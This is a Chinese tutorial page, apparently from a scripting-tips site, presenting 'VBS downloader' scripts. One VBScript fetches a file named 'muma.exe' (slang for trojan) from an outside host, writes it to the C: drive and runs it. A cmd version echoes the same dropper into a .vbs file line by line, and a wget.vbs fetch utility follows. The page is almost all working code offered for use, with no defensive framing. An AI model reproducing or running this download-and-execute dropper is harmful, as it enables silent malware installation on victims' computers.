手机
当前位置:查字典教程网 >脚本专栏 >vbs >VBS下载者(通过vbscript实现文件下载)
VBS下载者(通过vbscript实现文件下载)
摘要:一、VBS下载者:复制代码代码如下:SetPost=CreateObject("Msxml2.XMLHTTP")SetShell=Creat...

一、VBS下载者:

复制代码 代码如下:

Set Post = CreateObject("Msxml2.XMLHTTP")

Set Shell = CreateObject("Wscript.Shell")

Post.Open "GET","http://www.jbzj.com/muma.exe",0

Post.Send()

Set aGet = CreateObject("ADODB.Stream")

aGet.Mode = 3

aGet.Type = 1

aGet.Open()

aGet.Write(Post.responseBody)

aGet.SaveToFile "c:zl.exe",2

wscript.sleep 1000

Shell.Run ("c:zl.exe") '延迟过后执行下载文件

二、cmd下执行的版本:

复制代码 代码如下:

echo Set Post = CreateObject("Msxml2.XMLHTTP") >>zl.vbs

echo Set Shell = CreateObject("Wscript.Shell") >>zl.vbs

echo Post.Open "GET","http://www.jbzj.com/muma.exe",0 >>zl.vbs

echo Post.Send() >>zl.vbs

echo Set aGet = CreateObject("ADODB.Stream") >>zl.vbs

echo aGet.Mode = 3 >>zl.vbs

echo aGet.Type = 1 >>zl.vbs

echo aGet.Open() >>zl.vbs

echo aGet.Write(Post.responseBody) >>zl.vbs

echo aGet.SaveToFile "c:zl.exe",2 >>zl.vbs

echo wscript.sleep 1000 >>zl.vbs

echo Shell.Run ("c:zl.exe") >>zl.vbs

三、wget.vbs

复制代码 代码如下:

on error resume next

iLocal=LCase(Wscript.Arguments(1))

iRemote=LCase(Wscript.Arguments(0))

iUser=LCase(Wscript.Arguments(2))

iPass=LCase(Wscript.Arguments(3))

set xPost=CreateObject("Microsoft.XMLHTTP")

if iUser="" and iPass="" then

xPost.Open "GET",iRemote,0

else

xPost.Open "GET",iRemote,0,iUser,iPass

end if

xPost.Send()

set sGet=CreateObject("ADODB.Stream")

sGet.Mode=3

sGet.Type=1

sGet.Open()

sGet.Write xPost.ResponseBody

sGet.SaveToFile iLocal,2

使用方法:cscript wget.vbs http://www.jbzj.com/muma.exe

【VBS下载者(通过vbscript实现文件下载)】相关文章:

用vbscript实现在文本文件中搜索两个项

VBScript 文件操作代码小结

VBS下载文件的新方法

使用vbs脚本定时删除N天前的文件

用vbscript实现在消息框中显示一个超链接

用vbscript合并多个文本文件的代码

VBS教程:VBscript属性-功能介绍

VBS通过WMI获取CPU使用率的代码

使用vbscript脚本在表单中进行选择的代码

用vbscript实现从后到前阅读一个文本文件

精品推荐
分类导航